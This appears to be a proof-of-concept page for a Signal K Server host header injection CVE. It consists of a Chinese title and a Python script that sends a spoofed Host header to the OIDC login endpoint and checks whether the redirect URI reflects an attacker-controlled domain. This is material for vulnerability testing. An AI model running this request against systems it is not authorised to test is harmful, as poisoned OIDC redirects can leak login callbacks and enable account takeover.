CVE-2026-34083 Signal K Server主机头注入漏洞

import requests # Target configuration target_url = "http://localhost:3000" malicious_host = "attacker-controlled-domain.com" # The vulnerable endpoint typically handles OIDC login endpoint = "/auth/oidc" # Construct the request with a spoofed Host header headers = { "Host": malicious_host, "User-Agent": "PoC-Scanner/1.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" } print(f"[*] Sending request to {target_url}{endpoint}") print(f"[*] Spoofing Host header as: {malicious_host}") try: response = requests.get(target_url + endpoint, headers=headers, allow_redirects=False) # Check if the Location header contains the malicious host in the redirect_uri location = response.headers.get('Location') if location and malicious_host in location: print("[+] Vulnerability Confirmed! Malicious host found in redirect URI.") print(f"[+] Redirect Location: {location}") else: print("[-] Vulnerability not detected or specific conditions not met.") print(f"[*] Response Status: {response.status_code}") except Exception as e: print(f"[!] Error during request: {e}")